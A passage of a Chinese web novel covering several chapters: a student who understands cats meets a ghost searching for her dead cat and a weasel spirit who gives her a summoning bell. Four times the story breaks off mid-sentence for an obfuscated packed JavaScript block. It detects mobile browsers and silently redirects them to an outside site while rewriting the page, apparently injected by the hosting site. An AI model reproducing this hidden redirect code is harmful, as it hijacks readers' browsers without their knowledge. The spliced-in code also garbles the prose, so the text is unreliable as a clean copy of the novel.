小花猫低低地叫了几声,在原地踌躇了会儿,就小跳着跃下那石椅,又钻进了树林里。 安平又在原地坐了一会儿,等天空淅淅沥沥下起小雨来,那石椅上的漂亮青年也不见了踪影。只有一只蓝瞳狮子猫一路向林环湖的方向奔去。 常喜乐这一晚虽然睡得很早,然而梦里却一直不得安生。她一会儿看见唐柚背对着自己从巨石上一跃而下,一会儿看见笑语娘娘的石像坍塌。依稀看见安平脸颊上的泪如琥珀,她还没来得及伸手为他擦拭,对方就如烟一般消散了。眼前倏忽又出现一个穿风衣的男子,拿着个账本似的东西信步走到了她面前,笑着敲了敲她的脑袋说:“你还欠我一个约定哦?” 是那个无常,在他身后还跟着一个貌美绝伦的女子。 常喜乐惊坐起来,她喘着气,过了好一会儿才平复心情。她擦了一把额间的汗,撩开床帘,阳台透进的天光已经大亮,昭示着她昨晚睡了长长的一觉。 杨瑰司的床前没有拖鞋,桌前也没坐着人,似乎不在寝室。 常喜乐拿起手机,才发现昨晚忘记充电,手机自动关机了。怪不得闹钟没响。 她叹了口气,爬下床给手机充上电,随后又扎起头发去卫生间洗脸刷牙。等她回到桌前,随着手机亮起,一瞬间涌进来一大堆信息。 常喜乐默默等了一会儿,等手机没动静了,才拿起来看,显示已经是下午一点了。 王鬼:[中午吃什么,给你带回来。] 杨瑰司过会又发了个麻辣香锅的包装袋照片来:[时间到,你已失去选择权,我吃什么你就吃什么。] 常喜乐抿嘴笑了好一会儿才回消息: [爱你瑰司!你简直是我的义母!] 杨瑰司大惊失色,回复地相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910176|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当快: [注意你的言辞!辈分不能乱。] 虽然不知道她这算的哪门子辈分,常喜乐耸了耸肩,又划到别的消息框。 方信艾发了个视频来,常喜乐点开一看,是一只黑色的小土狗围在她膝盖边上跳来跳去。方信艾“嘬嘬嘬”了几声,小狗就热情地拱进她手心舔啊舔。 (^v^) :[好可爱!!] 小艾:[是吧!呜呜有机会一定要让你撸撸我家的狗,太可爱了,让我的heart 软软。] (^v^) :[好幸福!以后等我自己住了,要养一只小猫!] 小艾:[哦——你是猫派呀?我还是喜欢小狗,以前养过一只猫,但怎么都不跟我亲,没几天就离家出走了。] 常喜乐笑着和方信艾扯闲天,提到猫,就没来由地想起“岁岁”,她好久没见到岁岁了。然而过了会,她脑海中浮现的一双蓝眼睛却是属于安平的。 她惊得把手机倒扣在了桌子上,过了会才又无可奈何地拿起来,继续查看消息。等回复完后,她才注意到“通讯录”那一栏多了个小红点,点开看,有个好友申请,申请时间在凌晨四点。 那人的名字叫“西港”,好友申请说的话也很简洁:有事找。 常喜乐想了想,点了通过。 几乎是一通过,对方就显示在输入中。 常喜乐眨了两下眼,就收到新讯息了。 西港:[什么时候有空,可以见一面吗?] 常喜乐汗颜,心想这位戴总该不会和他那秘书一样喜欢直接在人校门口蹲着约时间吧? (^v^) :[不能直接线上说吗?] 常喜乐这一觉醒来,对很多事情都不愿再想、再深究了。她连午饭都拜托杨瑰司带回来,当然更不愿意为了不知道什么莫名其妙的事就再出门一趟。 戴西港发了条语音过来。 常喜乐有些苦恼地揉了揉眉毛,点开听了。 “这件事不算特别急,但讲起来却很复杂。和你那个朋友有点关系。” 男人的声音有些低沉,背景音里略显嘈杂,似乎有纸张在桌面敲打的声音。 “抱歉,我得去开会了。等你什么时候有空了,可以告诉我,我再让杜特助空出时间来。” 看来戴西港的确还是惜时如金的,他来问常喜乐什么时候有空的确是为了对齐时间。 常喜乐大概知道“那个朋友”是指安平。 但她现在,偏偏就是不愿意去想安平的事。 安平总是能轻而易举地牵动她的情绪,简直让她变得有些不像自己了。常喜乐对这种感受很陌生,她不明白自己究竟想要什么。 (^v^) :[请告诉我你下一次有空的时间吧,我除了上课之外,大概都有空。] 时间就约在了假期结束后第一周的周日。 常喜乐伸了个懒腰,听到宿舍门打开的声音,她回头打招呼道:“瑰司,你回来……” 她的声音哽在了喉口。 寝室门洞开,在墙壁上敲了一下后又回弹。 但门边并没有人。 而对常喜乐来说,更糟糕的事发生了。 她看见了那个鬼。 55.鸡腿 门口站着的女孩留了一头及腰的直长发,她脸色白得像纸,瞳孔漆黑、且以不正常的形式放大、充满了整个眼睛。 外面的阳光如此耀眼,她的脚下却没有影子。 常喜乐的笑容慢慢收起,她揉了揉眼睛,若无其事地站起来往门口走,一边走还一边嘟囔:“是我门没关好吗?怎么自己开了……” 那女孩不偏不倚地堵在门口,如果常喜乐要出去,就必须从她身上穿过。随着常喜乐靠近,那女孩的笑容越来越大,从她的唇角和眼睛里不断地流下鲜红的血液,最后她猛地向前一步贴着脸对常喜乐大叫了一声。 “呜哇!”这一幕带来的视觉冲击实在太大了,常喜乐下意识抱头蹲下,就听见那女孩仰头哈哈大笑起来。 “哼,还装,我就知道你能看见我。”女孩得意地说,“快起来。” 常喜乐抱着头不肯站起来:“我不,我害怕。” “你胆子也太小了吧,起来,我不吓你了。”女孩的声源突然降低了海拔,似乎她一块儿蹲在了常喜乐身边。她伸手戳了戳常喜乐,但指尖只是穿过了对方的身体。她呆呆地看着自己的手指,小声说:“帮我个忙呗,我找不到别人了。” 常喜乐慢慢把脸抬起来,睁开一只眼睛小心翼翼往旁边看。那女孩的脸色依旧苍白如纸,但总算像个正常人了。 她把手臂放下,问:“你是小杨?” 女孩点了点头,说:“我叫杨姝,我们昨晚见过面。” 常喜乐又问:“你怎么知道我住在这的?” 杨姝不好意思地笑了笑:“我问了学校里的猫,它们告诉我的。” 常喜乐:? “你问了它们就告诉你了?”常喜乐悲愤道,“怎么这样!” 她的拳头微微握紧,想找个时间去和学校里的猫猫们讲讲道理——不能随便告诉鬼魂常喜乐住哪,她的心脏受不了! 常喜乐哭丧着脸妥协了:“行吧,你告诉我,有什么忙要帮?” 杨姝神情激动起来,她想抓住常喜乐的衣袖,但又扑了个空,只好急切地说:“拜托你帮帮我,找到我家猫的尸体,它……” “临兵斗者皆阵列前行。”从走廊上突然传来一道声音,她冷冷地念完这句话后,命令道,“快离开。” 杨姝就尖叫了一声,身形淡去,随后从常喜乐的视线中彻底消失了。 常喜乐有些迷茫地站起身,她四处找了找,都没再看见杨姝的身影了。 杨瑰司则出现在了门口,她手上还拎着个外卖袋子,握住常喜乐的双肩上下打量,问:“你没事吧?有没有觉得哪儿不舒服?刚才那是什么鬼?” “是隔壁小杨。”常喜乐神情怔怔,还在回想刚才杨姝说的话。她又问:“你刚才念的是什么,她是彻底消失了吗?” “刚看你蹲在地上和空气说话,就知道又撞鬼了。可她怎么会知道我们搬到了这?”杨瑰司把门关上,对常喜乐解释,“我念的是六甲秘祝,对驱鬼有益。不过这效果只是暂时的,保险起见,我晚点再写个符贴在宿舍吧。” 杨瑰司把还热乎的饭放在常喜乐桌子上,又把她推到桌前坐下,摸摸她的额头,皱了皱眉:“好像有点发烫,吓着了?你先吃饭。” 她回自己桌子前翻箱倒柜找了一会儿,才摸出个体温计来递给常喜乐:“等会吃完饭量一下。” “38度,发烧了。”半小时后,杨瑰司看着手上的体温计,歪头说,“送你去医院吧?” 常喜乐蔫蔫地摇了摇头:“不想出门,我还有剩的退烧药,吃完睡一觉就好了。” “行,你不舒服就再和我讲。”杨瑰司摸了摸她的头,回头去画符了。 常喜乐这一病就躺了好几天,一直到方信艾和任清陆续返校回宿舍了,她身体才终于算是康复了。 “我可怜的喜乐哟,才几天没见你怎么脸色变这么差了。”方信艾捧着常喜乐的脸表达慰问,过了会儿又去开自己的行李箱,“对了,我带了我家乡那边的一口酥给你们尝尝。” 任清收拾完行李后,方信艾郑重地把她借自己的那个娃娃还了回去:“你别说,这娃娃做得实在是太逼真了。我晚上睡觉的时候都老觉得它在看我。” “那当然了。”任清接过娃娃,引以为豪地把它举高,又在它脸颊上亲了亲,“我家三水清好久不见,想我了没?” “我好饿呀,这会儿点外卖太晚了。咱们去后街吃饭怎么样?”方信艾笑着靠在桌子上看她,揉着揉肚子提议道。 “吃什么呢?”任清问。 “黄焖鸡米饭怎么样?后街那家鸡大厨做的老好吃了,我回家这几天还在想那味道呢。”方信艾在离开学校前迷上了一家“鸡大厨”店铺的外卖,几乎每天都要点一次。 “你还没吃腻呢。”任清笑起来,举手说,“行,我加入。” 常喜乐和杨瑰司也没有异议,四个人收拾收拾就一块儿出门了。路上方信艾路过一家卖炸鸡腿的店,嚷嚷着说是网红新店就上去排队了。 “要不网上都说大学生是黄鼠狼转世呢。”任清笑她,细数起来,“每天吃黄焖鸡、炸鸡、地锅鸡、醋炒鸡、鸡翅包饭、大骨鸡,我都没见过她吃别的肉了。” “鸡肉就是世界上最好吃的!我是黄鼠狼我自豪!”方信艾骄傲地抬了抬头,她前面一位把卫衣帽子戴头上的男生听完,还回头看了她一眼。 任清撞了撞方信艾的肩膀示意她小声点,两个姑娘又笑成一团。 等前面还剩一个人的时候,方信艾踮着脚往窗口里看,这炸鸡店最近很火,这会儿又是饭点,里面只剩十个炸鸡腿了。她回头说:“差不多我们能一人买一个。” 然而,前面那个男生舔了舔后槽牙,对店员说:“把这些鸡腿全都包起来。” “啊?”方信艾一听就不高兴了,她戳了戳那男生说,“诶,我们排了好久的队,能不能剩四个给我们呀?你买那么多也不一定吃的完。” 那人头也不回,只直勾勾地盯着店员打包鸡腿,说:“吃的完。” 等排到方信艾,店员不好意思地说:“下一锅还在炸,大概要等十几分钟。” “算了算了,我等吃完饭再来买吧。”方信艾也不想让室友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913875|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们等太久,垂头丧气地挽着任清的手招呼杨瑰司和常喜乐一块儿走了。 常喜乐还盯着人群里的某个背影看,杨瑰司注意到后,问她:“怎么了?” “刚才那个人走之前,看我的眼神有些奇怪。”常喜乐说着,摇了摇头,“也可能是我的错觉,没事,走吧。” 等到了黄焖鸡店里,客人也非常多。常喜乐她们运气好,正碰上一桌吃完了的。服务员赶来把桌子收拾干净,她们就坐下开始点单了。 等出餐期间,方信艾回头找垃圾桶,收回视线的时候嘟囔了句:“怎么又是他。” “怎么了?”任清不明所以。 “那个,黄鼠狼转世一样的人。”方信艾向她身后努了努嘴,“长得帅也没用,吃相太丑了。” 常喜乐闻声抬头,正看见她们对面桌子上坐了个穿卫衣的青年。他已经把卫衣帽子摘下,专心致志地用手拿着鸡腿在啃。如方信艾所说,他留了个狼尾头,鬓边翘起的头发被随意撩到耳后,露出一对有些尖的精灵耳来。他的眼型长而窄,眼尾上挑,莫名给人留下诡计多端的印象,然而此人的吃相又毫不讲究,他牙齿整齐而虎牙尖利,一张口就撕下一大块肉来,吃得嘴角都沾上了油,和他原本貌美的长相格格不入,甚至带上点野兽般的邪性来。 正吃着,他突然抬起眼睛望向常喜乐她们这桌,吓得回头看的任清赶紧坐好,拍着方信艾的手臂说她讲得太大声了。 常喜乐避闪不及,正正好好和他对上了眼。那青年和她对视了几秒,突然咧嘴一笑,用手背随意擦了擦嘴角,拎着袋子站起身向她们这桌走过来。 “干什么呀……不会要打人吧?”方信艾苦着脸嘟囔。 杨瑰司则戒备地拉住常喜乐的手随时准备站起来。 然而那青年只是站到常喜乐的面前,把一个还密封着的包袋子递给她,问:“吃吗?” 常喜乐眨眨眼,指着自己问:“给我?” 青年点了点头,目不转睛地看她:“送你。” 常喜乐看着碗里的鸡腿,看了眼桌上的另外三人,又看了眼桌对面那个陌生青年,还没弄清楚状况。 “喜乐,你们认识啊?”方信艾问。 常喜乐下意识摇了摇头,但又迟疑了一会儿。说实话,那个人的眼睛让她觉得很熟悉,似乎在哪见过似的。 她夹起鸡腿吃也不是,不吃也不是,问方信艾:“你是不是想吃,要不给你?” “不不不不不,人送你的,还是你吃吧。”方信艾连连摇头,看见服务员端了黄焖鸡米饭来,示意道,“饭来了,我吃饭就行。” 兴许那青年确实认识常喜乐,不然怎么会这么自来熟?开饭了,这插曲就告一段落。常喜乐看着鸡腿,啃了口,小心地从鸡腿的头部撕下一块肉来细嚼慢咽着,没让脸沾上炸酥皮的油。 福至心灵的,她又抬头看了一眼。那青年仍然目不转睛地看着她,以筷子代替了手,学着常喜乐的样子慢慢地吃了一口鸡腿肉。 他吃着吃着,嘴角咧开又笑起来,对着常喜乐做了个口型。 [又见面了] 56.我叫威瑟尔 因为明天就要上课,今天大部分的学生都返校了。从店门口望出去,街上到处都是山城大学的学生,没过一会儿就要走进店来一批,不过大部分人看见没位子就又离开了。 这一批来的学生却不是为了吃饭。常喜乐在喝水时抬头,和带头进门的女生对上了视线。那是个大眼睛卷发大姐姐,长相偏成熟中带一点妩媚,她看见常喜乐后“咦”了一声,试探着叫了声:“喜乐?” 似乎是认识的人,常喜乐眨了眨眼睛,一时间没有认出对方来,只是下意识先回了个微笑。 “听说你退出摄影部了,我好遗憾。”她拿着一沓纸走到常喜乐边上,“我真的很喜欢你的作品。” 她这么一说常喜乐就想起来了,这是之前摄影部的副部长钟缇梦,她原本是摄影部部长,因为大三有个一年的交换生项目出国,才把部长的位置换给了陈墨芯,她本人则退居为副部长。 这学期开学初,钟缇梦的交换项目结束了,只是还没来得及回国。常喜乐面试时,她还隔着电脑在线上参与了。钟缇梦完全不掩饰对常喜乐作品的欣赏,还额外加了她的联系方式,希望以后能多多交流。 大部分时候,她们只是朋友圈的点赞之交。钟缇梦是个很有想法的人,这点从她分享的摄影作品就能看出来,她小时候出国生活过一段时间,对环保格外看重。她的朋友圈有很多类似概念的作品和文章,对她本人的分享却很少,也难怪常喜乐乍一看到时认不出来。 常喜乐对这位学姐的为人并没有意见,当初进摄影部有很大一部分原因是看到了摄影部为招揽新成员挂出来的作品——就是钟缇梦拍摄的。她大方地和钟缇梦打起招呼来:“学姐好,这还是我第一次线下见到你诶。” 钟缇梦背后的几个人神色则有些尴尬,显然他们了解观月台写生那天常喜乐与众人不欢而散的事。 不过钟缇梦本人则显得很高兴,她乐呵呵地拉着常喜乐的手说:“没事儿,以后咱俩线下还可以多交流!” 话说完,钟缇梦又和饭桌上其余三人打了招呼,随后弯腰把自己手上的传单发了四张出去。 “这是什么?”方信艾拿着这张写了许多感叹号的传单,轻声念出上面的字,“反对大肆开发山林,还我山城生态平衡。” 常喜乐也认真看起上面的内容来,这是一张环保性质的传单,分为几个板块,大致讲述了山城的烟山在前年被乱砍滥伐后,水土流失、动物流离失所的后果。又提到今年有开发商在常乐山建设农家乐的计划,正是前几年开发烟山的那个公司。 “去常乐山的观月台写生是我们部门的传统,常乐山也是非常多生物的栖息所在,因此我们希望能尽一些绵薄之力。”钟缇梦不好意思地笑了笑,和常喜乐打过招呼后,又去别的桌发传单了。 那位点了三份黄焖鸡米饭且一直埋头苦吃的青年也接过了传单,不同的是他只是拿这纸擦了擦嘴就扔掉了。 “你……你不看可以拒绝,这样太过分了吧?”钟缇梦后面的女生气不过,指着他说不出话来。 “这么厚的纸张,不也都是拿树木做的?”那青年看了眼外头的大街上,有些行人接过传单后就直接丢在了地上,随着风被吹到了空中。那青年对着她一笑,嘴角咧的很开,看得人莫名发冷。他又把卫衣的帽子戴上,遮住了自己那特别的耳朵和一部分五官,站起身走出门了。 等吃完饭后,方信艾和任清还打算去夜市逛逛。杨瑰司和常喜乐一道走,在快到学校的时候,杨瑰司对她说:“我要回出租屋拿个东西,你先回宿舍吧。” 常喜乐点了点头。她从包里拿了耳机出来,连上手机蓝牙后就开始放歌。 她走路的方向不是宿舍楼,而是漫无目的地下意识挑了远离人群的地方走去。 不知不觉,常喜乐就走到了林环湖周边。她回过神来后才有些懊恼地敲了敲自己的头,想了想,也没直接离开,而是又去了林环湖边上的图书馆,在外围找了个石长椅坐下了。 她的后背贴在长椅背上,颈部后仰,就这么倒着看不远处的那片树林。在这样的视角看,树木倒着生长,夜空成了湖泊,而星星则是水中跃出的鱼。 “你在干嘛呀?”一个娇憨的声音响起。 常喜乐把头抬起来,差点没闪着脖子。她四处张望了一下,没看着人。 “这儿呢,这儿呢!”声音从地上传来,常喜乐低头,才看见一只小小只的花猫在扒拉她的裤脚,一边爬一边还嚷着,“我想上去,帮帮我呗。” 常喜乐看着它可怜又可爱的样子,不禁失笑,她弯腰把两手穿过它的两侧腋下,小心地抱起了这只猫,放在了膝盖上。 小花猫在她膝盖上转了一圈,舒舒服服地躺了下来:“你真温柔,跟我老大比起来好多了。他每次都把我提溜起来,有没有考虑过多宝的面子呢!” 常喜乐很久没见过这么健谈的猫了,她笑着问:“你老大是谁呀?” “诶……这个,不重要不重要。”多宝自知失言,嘿嘿笑了一下,立刻转移话题,“姐姐你还记得我吗?上次就在这儿,你还救了我哩!” “嗯?”常喜乐想了想会儿才恍然大悟,“噢!你是那只爬到树上下不来的小花猫?” “没错没错!”多宝满意地蹭了蹭常喜乐,仰起头邀功,“姐姐,上次有个很白很白的姐姐来找你玩,我还给她指路了呢。” “什么?”常喜乐反应过来后,笑容不改,问,“原来是你告诉她的?” “对呀对呀!这算不算是报答你啦?”多宝兴奋地问。 “算恩将仇报,笨蛋多宝。”常喜乐没好气地提溜起它的后颈脖,轻轻放到了一边的椅面上,教训道,“以后不可以随便透露我的住处,知道了吗?” “哎呦!”多宝被这椅面冰了一下屁股,连忙站起来,心想这姐姐怎么越来越像那个人了,委屈地说,“知道了呀……诶,你怎么知道我叫多宝呀?” 常喜乐没忍住,好笑地摸了摸它的头:“你刚才自己说的呀。” “行吧……姐姐,多宝想找你帮忙。”小花猫拱了拱常喜乐的大腿,可怜巴巴地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921965|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她。 行吧,常喜乐最受不了这一套,她问:“什么忙,我给你去买点零食吃?” “不不不,学校里的人会给多宝买吃的,不用姐姐买。”多宝憨憨一笑,很快又想起来正事儿,它说,“那个很白很白的姐姐,她找不见自己的猫了,想求姐姐帮忙。” “诶?”常喜乐愣了愣。 “很可怜的,她说自己的猫被坏人捉走了,到现在都不知道在哪里。多宝能感觉到一点气息,但是那个地方多宝过不去,白色姐姐也过不去。”多宝说。 “哪个地方?”常喜乐问。 多宝跃下石长椅,回头示意:“跟我来!” 常喜乐就站了起来,跟着多宝前进的方向离开了。 她们都没注意到,在图书馆的拐角处,有个人撑着把黑伞,听完了全部内容。 常喜乐站在围栏边,看脚底不远处是滚滚河水东流,它们一路奔腾,一直汇聚到前面50米远处才随着河面降低猛地下冲,形成一道矮瀑布。 这河面起码有十几米宽,对岸就是森林。山城大学的特色就是这样,西面被群山半环抱,中间只隔了条大河。 “白色姐姐的猫就在对面。”多宝说。 “这……姐姐也过不去呀。”常喜乐面露难色,看起来河对岸离她们的直线距离不远,但要不论是人还是船,只要试着游过去就会被湍急的水流带到瀑布那儿,因此只能从那山的另一边爬上去,再下到这一侧山底,“你确定那只猫在对岸?这么远的距离它怎么过得去呢。” “多宝鼻子很灵,多宝不会错。”多宝焦急地原地转了一圈,又嗅了嗅,很快它就大惊失色地说,“有坏人!多宝先走了!” 还不等常喜乐叫住它,多宝就一溜烟小跑着离开了。她哈了一声,嘟囔着:“跑得还真快。” 但它说的坏人是谁? 常喜乐四处张望了一下都没看见人,等她又转回栏杆一侧时,被左侧离她只有一掌距离的穿卫衣的青年吓了一大跳。 “哇!”常喜乐下意识后退一步,等看清这是个人之后,才大着胆子抬手拎起他卫衣帽子的后沿向下一撤。在认出他的那双特别的尖耳朵和五官后,常喜乐恼火地说:“你走路没有声音吗?为什么不声不响地离别人这么近?” 那青年却毫不在意地把手臂往石栏杆上一撑,歪头托着脸,惊叹地看着常喜乐,说:“哇,你居然还活着诶?” 常喜乐被气笑了,她反问:“我不该活着吗?” 青年笑了笑,又问:“最近过得怎么样?我看你胆子还是那么小,吃了不少苦头吧?” 这人话里话外都一副和她是旧相识的模样,但常喜乐不管怎么想都觉得压根没见过他。 她望了眼周围,平时学校里不管哪儿都有人,这会儿却偏偏冷清得可怕。她不动声色地后退了一步,又试着问他:“你是谁,你到底想干什么?” “我叫威瑟尔。”青年微笑着眨眨眼,想彰显自己的无辜,却因为这天生的吊梢眼显得更加邪性了,他说,“是来报恩的。” 57.铃铛 这人嘴上说着要报恩,表情却像是来报仇的。常喜乐说:“我可不记得有什么事需要你来报恩。” 威瑟尔耸了耸肩,微笑着问她:“你看我,像人吗?” 真是废话,不像人像什么……等她在心里把这句话又念了一遍之后,一股既视感让常喜乐心里噼里啪啦闪过一道惊天巨雷,她反应过来,震惊地指着他说:“你你,你是……” 威瑟尔毫不慌乱地握过她的手,低头在其手背轻吻了一下:“是我,现在认出来了?” 是那个向她讨封的黄鼠狼,他趁着常喜乐什么也不懂哄她完成了借运,现在居然还好意思出现在自己面前!这些天的倒霉事儿几乎全是拜他所赐,常喜乐甚至差点因此死了,她想到这就立刻抽回手来。 事到如今再去相信威瑟尔是个什么来报恩的纯良好人她就是愚蠢了,常喜乐肯定道:“你其实很希望我已经死了吧?” 这样一来,他就可以直接拍手走人,不用管多余的事了。 “当然了。”威瑟尔毫不掩饰意图,似乎并不觉得有什么不好意思,他单手托着脸露出一个耐人寻味的微笑来,“不过,现在不这么想了。” 这个女孩还挺有意思的。 “但我并没有需要你帮忙的地方。”常喜乐不愿意和他多纠缠,“你还是直接走吧。” “先别急着下定论嘛——”威瑟尔拖长了音调,“总之,未来你将会变得越来越幸运,这点你应该已经有所感受了。其次……” 威瑟尔拿出个黑色的骨哨来递给她:“你有三次机会找我帮忙,不管是什么事情,我都会答应你。” 面对这样宛如阿拉丁神灯式的三个愿望,常喜乐却不像威瑟尔预想的那样激动,相反她有些犹豫地皱了皱眉头,问:“这是什么?” 威瑟尔目带欣赏地看着这截漂亮的骨哨,告诉她:“我的尾指指骨,在完成你的愿望之前,我都无法用原形正常跑动。这就是约定的全部。” 常喜乐的表情立刻变得难以言喻,她没急着把骨哨接过来,而是接着问:“就没有别的召唤方式吗?”吹响别人的尾指骨,听起来实在太怪异了。 “什么嘛,态度也太伤人了。”威瑟尔露出个受伤的表情来,但他从善如流地收回手,把那截骨哨放在手里握了握,最后这截黑色骨哨就成了个小巧的黑色铃铛。 常喜乐这才接过铃铛摇了摇,但她什么声音也没听到,她问:“这铃铛怎么不响?” “平常是不会响的,你得像这样。”威瑟尔笑起来,握住常喜乐的手一块儿晃起铃铛来,他指点道,“在心里默念一遍我的名字。” [威瑟尔。] 那铃铛就立刻响了起来,这声音不像普通的铃铛那样清脆空灵,反而如同从什么幽深的地方悄悄荡开的邪恶低语,让人不住起鸡皮疙瘩。 “别人是听不到的,只有我能听到。”威瑟尔赶在常喜乐甩开他的手之前先一步退后,他低笑一声,“好了,示范完毕。那就——再会了。” 常喜乐一眨眼,威瑟尔就从她面前消失了。她看着手心里的那个铃铛,想了想,还是把它妥善地收起来。 她莫名有一种预感,似乎这个铃铛会成为她未来人生某个节点非常重要的一部分。 不过多宝去哪了?常喜乐四处望了望,心想难道多宝刚说的“坏人”是指威瑟尔?猫和黄鼠狼之间并没有压制性的关系,只是多宝还小,怕他也正常。 她沿着路往宿舍的方向边走边找,但一直没有结果。一只小猫对一个大学城来说实在是太微不足道了,找不到才是正常的。常喜乐想,就像她也很久没见到岁岁了。 等走到了学校宿舍不远处的布告栏,常喜乐发现一个撑着黑伞的熟悉身影站在前面。她驻足看了会儿,就看见那人抬手把布告栏上某个部分的一整片传单全都揭了下来。 他随手把这些传单揉吧成一团,扔进了旁边的大个儿绿色垃圾桶里,之后便离开了。 常喜乐等他走远之后,才上前看。这一部分的栏目内容是什么她路过时看到过,就是钟缇梦刚才在分发的那些传单。 如果常喜乐没看错,刚才那人的确是陈墨芯。但按理说这是摄影部自发的环保宣传活动,陈墨芯作为部长,为什么还反其道而行呢? 她有些疑惑,看天色已经很晚了,就打算第二天给小姨打个电话。那农家乐要动土的一部分涵盖了常乐山半山腰以上的雾林,不知唐柚她们是否已经了解这件事了。 等她回到寝室,方信艾和任清正对着手机傻乐呢。 “啊啊啊这也太可爱了吧!等下次我去食堂的时候也要投喂!”方信艾开水壶尖叫。 “它嘴可叼啦,有些喂的不合胃口还不吃呢。”任清笑起来,对刚进门的常喜乐招呼道,“喜乐你回来啦。” “你们在看什么呢?”常喜乐打过招呼后走到她们身边好奇道。 “给你看给你看,任清今天在食堂里遇见了一只超级可爱的小猫!”方信艾把手机上的视频展示给常喜乐。 画面在食堂的一个连桌凳子上,一只小花猫转过身来好奇地望着镜头。镜头主人慢慢靠近,拿着一根剥好的火腿肠喂给它。小花猫抬手对镜头作了个揖,随后一边小声细细地叫一边啃着火腿肠。不过它吃了一会儿很快就不吃了,又跑去了别的桌子边上,引起另一波人兴奋的围观。 这不就是多宝吗?常喜乐对它这耍宝的行为觉得好笑,她问任清:“你是几点去的食堂呀?” “就刚才。”任清说,“我去食堂的甜品区买明天的早饭。” 好你个多宝,亏她记着它的求情,在学校里找了这么久。原来这小妮跑去食堂觅食了。 常喜乐放下心来,她抬头看了眼,又问:“瑰司呢,她还没回来吗?”不是说只是去出租屋拿个东西? 她不禁有些担心,怕杨瑰司又遇见前几天在出租屋门口作怪的两个男的。常喜乐刚拿出手机准备联系她,宿舍门就又被打开了,杨瑰司拔了钥匙进门,看三个人齐刷刷地看向自己,莫名其妙道:“怎么了?” “没事没事。”常喜乐也没多问,回来就好。 等她洗漱完回到床上,才发现杨瑰司给自己发了条信息。 王鬼:[我回去又查看了一下,隔壁邻居的魂魄并没有回到她自己的家。这有点奇怪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927308|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按理来说鬼魂只会停留在她死前的地方,哪怕有极深的执念,不借助外力也是很难走远的。] (^v^) :[她一直在强调自己死去的猫,也许那就是她的执念。] 再加上之前门口的两个男人播放的疑似虐猫的录音,常喜乐有理由怀疑他们与杨姝的猫的下落有关系。 王鬼:[其实我们只要配合警察找到那两个闹事的男人就可以了,你之前不是不希望和这些鬼怪之类的东西牵扯太深吗?] 常喜乐的确有这样的想法,她个人的力量太渺小,而鬼怪里头的门道又实在太深,她不确定自己是否能够做到帮助它们而又保证自己不陷入其中的泥沼。 她只不过能听懂猫语,偶尔看见鬼怪。难道真要靠她这么个手无缚鸡之力的女孩拯救世界不成吗? (^v^) :[总之先睡觉吧,明天可是满课。] 两人的对话就这么告一段落。 之前发生了那么多的事,让常喜乐觉得时间已经过去了很久。然而打眼一看日历,她距离刚成为大学生也只不过才四周而已。 她每天的课程都很满,加上语言专业有早读和晚自习,每天写完作业下课回来洗漱完就要十点钟了。再精力充沛的人也经不住这么个熬法,常喜乐几乎每次一收拾好就呼呼大睡,连手机都不怎么玩。 至于那些困扰过她的烦心事,在这种没发生到眼前就相当于不存在的精神胜利法下也竟然真的消停了几天。这一周常喜乐几乎要觉得,前面那段时间的经历只是一场梦了。 不过有几个问题还是值得关注。 第一件事,是小姨的电话一直打不通。线路倒显示是通畅的,只是对方不接电话而已。在常喜乐几乎想报警之前,唐柚才不紧不慢地发了个短信来说她最近在云游,有缘再见。 第二件事,则是摄影部的副部长钟缇梦被撤职一事。具体怎么个经过常喜乐其实并不太清楚,只是看到向来不怎么在朋友圈透露自己生活的学姐突然发了一长串文字大骂陈墨芯不愧是万恶的资本家,说她当初就不该把部长的位置让给他之类的话。 常喜乐大概能猜到,那个开发常乐山做农家乐的项目是陈家的产业。而钟缇梦抵制的举动损害到了陈墨芯的利益,他也就顺理成章地把她挤出了摄影部。 在这件事上,普通的学生究竟要如何与资本抗衡?常喜乐不论怎么想,都觉得的确很难。 